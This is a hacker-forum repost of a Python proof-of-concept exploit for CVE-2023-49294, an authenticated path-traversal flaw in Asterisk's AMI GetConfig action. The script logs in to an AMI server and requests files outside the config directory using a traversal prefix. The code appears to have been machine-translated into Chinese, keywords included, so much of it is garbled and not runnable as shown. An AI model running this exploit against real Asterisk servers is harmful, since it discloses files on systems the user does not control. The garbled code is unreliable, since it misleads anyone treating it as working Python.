H

Asterisk AMI-部分文件内容路径披露(认证)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题:星号AMI-部分文件内容路径披露(认证)
#日期: 2023-03-26
#利用作者: Sean Pesce
#供应商homepage: https://asterasterisk.org/
#软件link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
#版本: 18.20.0
#测试在: Debian Linux
#CVE: CVE-2023-49294
#!/usr/bin/env Python3

#CVE-2023-49294的概念验证验证验证,这是Ami的认证漏洞
#促进文件系统枚举(发现现有文件路径)和有限的披露
#文件内容。披露的文件必须遵守星号配置格式,这是相似的
#到常见的INI配置格式。

#参考:
https://nvd.nist.gov/vuln/detail/cve-2023-49294
https://github.com/asterisk/asterisk/security/advisories/ghsa-8857-hfmw-vg8f
https://docs.asterisk.org/asterisk_18_documentation/api_documentation/ami_actions/getConfig/
导入argparse
导入GetPass
导入套接字
导入系统
CVE_ID='CVE-2023-49294'
default_port=5038
default_file='/etc/hosts'
default_action_id=0
default_tcp_read_sz=1048576#1MB
def ami_msg(操作,args,encoding='utf8'):
assert type(action)==str,f'invalid类型用于ami操作(预期字符串): {type(action)}'
assert type(args)==dict,f'invalid类型用于ami参数(预期dict): {type(args)}'
如果“ actionID”不在args:中
args ['actionId']=0
line_sep='\ r \ n'
data=f'action: {action} {line_sep}'
对于Args:
data +=f'{a} : {args [a]} {line_sep}'
数据+=line_sep
返回data.encode(编码)
def tcp_send_rcv(袜子,数据,read_sz=default_tcp_read_sz):
assert类型(数据)(bytes,bytearray,memoryView),f'Invalid数据类型(预期字节): {type(type(data)}'
Sock.Sendall(数据)
resp=b''
而不是desp.endswith(b'\ r \ n \ r \ n'):
RESS +=SOCK.RECV(read_sz)
返回resp
如果name=='__ -Main __':
#解析命令行参数
argparser=argparse.argumentparser()
argparser.add_argument('主机',type=str,help='Asterisk Ami Server的主机名或IP地址')
argparser.add_argument(' - p','-port',type=int,help=f'asterisk ami tcp端口(default: {default_port})',default=default=default_port)
argparser.add_argument(' - u',' - user',type=str,help=f'asterisk ami用户',必需=true)
argparser.add_argument(' - p',' - password',type=str,help,help=f'asterisk ami secret',默认=none)
argparser.add_argument(' - f',' - file',type=str,help=f'file to read(default: {default_file})',default=default_file)
argparser.add_argument(' - a'',' - action-id',type=int,help=f'action id(default: {default_action_id})',default=default=default_action_id)
如果在sys.argv或sys.argv:中的“ -h”
print(在星号ami中{cve_id}的概念漏洞的proof for interisk ami。更多信息erne: \ n3https://nvd.nist.gov/vuln/detail/{cve_id} \ n',file=sys.stderr)
argparser.print_help()
sys.exit(0)
args=argparser.parse_args()
#验证命令行参数
断言1=args.port=65535,f'invalid端口号码: {args.port}'
args.host=socket.gethostbyname(args.host)
如果Args.Passs.10 none:
args.password=getPass.getPass(f'[提示]输入{args.user} :'的AMI密码)
{cve_id}',file=sys.stderr)打印(f'[fof]概念证明
print(f'[info]连接到Asterisk AMI: {args.user}@{args.host} : {args.port}',file=sys.stderr)
#连接到星号AMI服务器
sock=socket.socket(socket.af_inet,socket.sock_stream)
sock.setsockopt(socket.sol_socket,socket.so_reuseaddr,1)
sock.connect(((args.host,args.port)))
#阅读服务器横幅
banner=sock.recv(default_tcp_read_sz)
print(f'[info]连接到{banner.decode('utf8')。strip()}',file=sys.stderr)
#对星号AMI服务器的身份验证
login_msg=ami_msg('login',{'username':args.user,'secret':args.password})
login_resp=tcp_send_rcv(袜子,login_msg)
而b'Authentication'不在login_res3360中
login_resp=tcp_send_rcv(袜子,b'')
如果B'Athentication接受'不在login_res:中
print(f'\ n [error]无效凭借: \ n {login_resp.decode('utf8')}',file=sys.stderr)
sys.exit(1)
#print(f'[info] authenticated: {login_resp.decode('utf8')}',file=sys.stderr)
打印(f'[info]登录成功',file=sys.stderr)
#通过路径遍历获取文件数据
traversal='././././././././././././'
cfg_msg=ami_msg('getConfig',{
'ActionID': args.action_id,
'filename': f'{traversal} {args.file}',
#'cattory':'默认值',
#'filter':'name_regex=value_regex,',
}))
RESS=TCP_SEND_RCV(SOCK,CFG_MSG)
而b'Response'不在resp3360中
RESS=TCP_SEND_RCV(袜子,B'')
打印(f'',file=sys.stderr)
print(f'{resp.decode('utf8')}')
如果b'Error'在RESP3360中
sys.exit(1)
通过#完成
 
后退
顶部